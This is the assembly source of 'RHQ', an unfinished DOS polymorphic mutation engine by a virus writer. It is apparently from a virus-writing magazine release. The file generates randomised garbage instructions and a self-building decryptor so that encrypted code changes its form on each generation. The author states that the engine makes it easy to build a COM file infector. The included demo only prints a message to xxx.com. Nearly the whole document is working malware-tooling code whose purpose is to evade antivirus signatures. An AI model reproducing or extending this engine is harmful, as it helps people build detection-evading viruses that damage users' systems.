;;
;;              R H Q  polymorphyc code generator by AweScream
;;              !    This file contains not final version    !
;;              !  of engine, its not release and presented  !
;;              !  here only for exploration tasks and fun.  !
;;              !                 --===--                    !
;;
;;     Some words about other polymorphyc engines:
;; garbage generators creates instructions wich effect s on  some
;; registers, but result never used on the next  steps  of   code
;; execution. My  engine  generates  garbage  instructions   like
;; ([mov,xor,sub,add,or,cmp] reg1,reg2) on the generation  buffer
;; and its body, executes  it,  and  storing  result  in [ regs ]
;; variable. Structure of [regs] variable is: 1st byte - register
;; usage flag, 1 means register used, 0 - unused.
;;    Supported registers are: AX,CX,DX,BX,BP,SI,DI.
;;    Also, here is one byte opcode generation proc. Execution of
;; this onebyters effects on AX reg only (and flags, but they are
;; not supporteg now). When onebyte opcode  generated,  AX  usage
;; flag is turned off (set to zero).
;;    Procedure named mk_deco generates next sequense:
;;
;;              xor/add/sub register,number
;;              push        register
;;
;; This code calculates one word of decryptor   ( lcode  label )
;; from ecode to lcode labels, and places value to program stack.
;; When this job complete, generator  about  to  stop,  and  next
;; instructions will created:
;;              mov         bx,sp
;;              inc         bx
;;              inc         bx
;;              ret
;; I forgot to say, what last word, wich placed on stack contains
;; address of first instruction of encrypted code. When decryptor
;; complete decrypt code, [RET    size_of_decryptor]  instruction
;; follows. Its clears stack and goes  to  decrypted  code  entry
;; point and virus starts:)
;; There no virus in testcode, ofcoz, but its easy to make simply
;; com file infector using tris techniq.
;;
;;    This source is not highly commented, but I have not  enough
;; time to do this, coz today is mag release date!!!
;;
;;                                                 AweScream /RSA
version m520
.model tiny
.code
.386
org     100h
start:
        jmp     main
;-----------------------------------------------------------------
;vars
excode  dw 0
dbegin dw 0
rbegin dw 0
xxx_table db 89h,01h,29h,31h,09h,39h;for reg,reg
progress dw (ecode-lcode)/2
regs db 8*3 dup (0)
base_regs db 3,6,7
func_regs db 0,1,2,3,5,6,7
base_reg db 0
func_reg db 0
onebyte_table db 40h,48h,9bh,0ech,0edh,0d7h,0f8h,0f9h
generated dw 0
deco_table db 0f0h,0c0h,0e8h
;-----------------------------------------------------------------
lcode:
        dw 0;100h
        cld
@@di:   mov     di,0
@@dx:   mov     al,[di]
@@xr:   xor     al,0
@@sb:   sub     al,0
@@ad:   add     al,0
        stosb
@@cp:   db 81h,0ffh,0,0
        jne     @@dx
        ret     ecode-lcode-2
ecode:
;-----------------------------------------------------------------
decrypt_code:;si=code start,cx=codesize,di=buffer to encrypt
        mov     word ptr @@di+1,si
        mov     word ptr lcode,si
        add     si,cx
        mov     word ptr @@cp+2,si
        call    random8
        mov     byte ptr @@xr+1,al
        call    random8
        mov     byte ptr @@sb+1,al
        call    random8
        mov     byte ptr @@ad+1,al
        mov     si,di
        cld
@@:     lodsb
        sub     al,byte ptr @@ad+1
        add     al,byte ptr @@sb+1
        xor     al,byte ptr @@xr+1
        stosb
        loop    @B
        ret
;-----------------------------------------------------------------
task_table dw mk_xxx_reg_reg
           dw mk_xxx_reg_reg
           dw mk_rnd_mov_reg_num
           dw mk_xxx_reg_reg
           dw mk_rnd_mov_reg_num
           dw mk_xxx_reg_reg
           dw mk_deco
           dw mk_onebyte
ttable_size=($-task_table)/2-1
do_task:
@@:     call    random8
        and     ax,7
        mov     bx,ax
        shl     bx,1
        call    task_table[bx]
        ret
;-----------------------------------------------------------------
random16:
        call    random8
        mov     ah,al
random8:in      al,40h
        ror     al,1
        add     byte ptr [$+5],al
        xor     al,123
        ret
;-----------------------------------------------------------------
mk_deco:call    get_defined_reg;bx=reg
        call    get_reg;dx=reg value
        push    bx
@@:     call    random8
        and     ax,3
        cmp     ax,3
        je      @B
        mov     ah,bl
        mov     bl,al
        add     ah,deco_table[bx]
        mov     al,81h
        stosw
        lodsw
        sub     si,4
        mov     cl,bl
        pop     bx
        push    dx
        mov     dx,ax
        call    set_reg
        pop     dx
        cmp     cl,0;xor
        jne     @F
        xor     ax,dx
        jmp     @@F1
@@:     cmp     cl,1;add
        jne     @F
        sub     ax,dx
        jmp     @@F1
@@:     sub     dx,ax
        mov     ax,dx
@@F1:   stosw
        mov     al,50h
        add     al,bl
        stosb
        add     generated,5
        dec     progress
        ret
;-----------------------------------------------------------------
mk_xxx_reg_reg:
        call    get_defined_reg;load reg2
        mov     cl,bl
        call    get_reg
        push    dx
@@:     call    rnd_reg;calc&load reg1
        cmp     bl,cl
        je      @B
        mov     ch,bl
        call    get_reg
        call    chk_reg
        mov     bl,0
        jnz     @F
@@B1:   call    random8
        and     al,7
        cmp     al,5
        jg      @@B1
        mov     bl,al
@@:     mov     al,xxx_table[bx]
        mov     byte ptr @F,al
        mov     ah,0c0h
        add     ah,ch
        shl     cl,3
        add     ah,cl
        stosw
        pop     ax
@@:     db 0,0c2h
        mov     bl,ch
        call    set_reg
        add     generated,2
        ret
;-----------------------------------------------------------------
mk_onebyte:
        mov     regs,0;ax now not defined
        call    random8
        and     ax,7
        mov     bx,ax
        mov     al,onebyte_table[bx]
        stosb
        inc     generated
        ret
;-----------------------------------------------------------------
set_reg:;dx=num,bx=reg
        push    bx
        mov     bh,bl
        shl     bh,1
        add     bl,bh
        xor     bh,bh
        mov     regs[bx],1
        mov     word ptr regs[bx+1],dx
        pop     bx
        ret
;-----------------------------------------------------------------
chk_reg:;bx=reg,zero set if used
        push    bx
        mov     bh,bl
        shl     bh,1
        add     bl,bh
        xor     bh,bh
        cmp     regs[bx],1
        pop     bx
        ret
;-----------------------------------------------------------------
mk_rnd_mov_reg_num:
        call    random16
        mov     dx,ax
        call    rnd_reg
        call    mk_mov_reg_num
        ret
;-----------------------------------------------------------------
clear_regs:
        push    di
        mov     di,offset regs
        mov     cx,3*8
        xor     al,al
        rep     stosb
        pop     di
        ret
;-----------------------------------------------------------------
get_defined_reg:
        mov     cx,10
        xor     ax,ax
@@:     call    rnd_reg
        mov     al,bl
        mov     bh,bl
        shl     bl,1
        add     bl,bh
        xor     bh,bh
        cmp     regs[bx],1
        je      @ok
        loop    @B
        call    mk_rnd_mov_reg_num
        mov     al,bl
@ok:    mov     bl,al
        ret
;-----------------------------------------------------------------
get_reg:;bx=reg;ret> dx=value
        push    bx
        mov     bh,bl
        shl     bh,1
        add     bl,bh
        xor     bh,bh
        mov     dx,word ptr regs[bx+1]
        pop     bx
        ret
;-----------------------------------------------------------------
mk_mov_reg_num:;dx=num,bx=reg
        push    ax
        mov     al,0b8h
        add     al,bl
        stosb
        mov     ax,dx
        stosw
        call    set_reg
        add     generated,3
        pop     ax
        ret
;-----------------------------------------------------------------
rnd_reg:push    ax
@@:     call    random8
        mov     bx,ax
        and     bx,7
        cmp     bx,4
        je      @B
        pop     ax
        ret
;-----------------------------------------------------------------
DoIt:   mov     di,offset democode
        mov     rbegin,di
        mov     si,100h;offset democode
        mov     dbegin,si
        mov     cx,dlen
        call    decrypt_code
        mov     di,offset lastbyte
        mov     si,offset ecode-2
        call    clear_regs
@@:     call    do_task
        cmp     progress,0
        jne     @B
        mov     ax,0e389h
        stosw
        call    mk_onebyte
        mov     al,43h
        stosb
        call    mk_onebyte
        mov     al,43h
        stosb
        call    mk_onebyte
        mov     ax,53h
        stosb
        mov     ax,06c7h
        stosw
        mov     ax,dbegin
        stosw
        mov     si,rbegin
        lodsw
        stosw
        mov     ax,06c7h
        stosw
        mov     ax,dbegin
        inc     ax
        inc     ax
        stosw
        lodsw
        stosw
        mov     al,0c3h
        stosb
        add     generated,6+1+6+6
        mov     di,rbegin
        mov     al,0e9h
        stosb
        mov     ax,dlen
        dec     ax
        dec     ax
        stosw
        mov     ax,generated
        add     ax,dlen
        mov     excode,ax
        ret
main:   call    DoIt
        mov     ah,3ch
        xor     cx,cx
        mov     dx,offset fname
        int     21h
        mov     bx,ax
        mov     ah,40h
        mov     cx,excode
        mov     dx,offset democode
        int     21h
        mov     ah,3eh
        int     21h
        ret
fname   db 'xxx.com',0
democode:
        jmp     @F
        db 1024 dup (0)
@@:     mov     ah,9
        call    @F
@@:     pop     dx
        add     dx,7
        int     21h
        ret
        db 'RHQ on the run!$'
dlen=$-democode
dcodelen=($-democode)/2
         db 0
lastbyte:
end     start
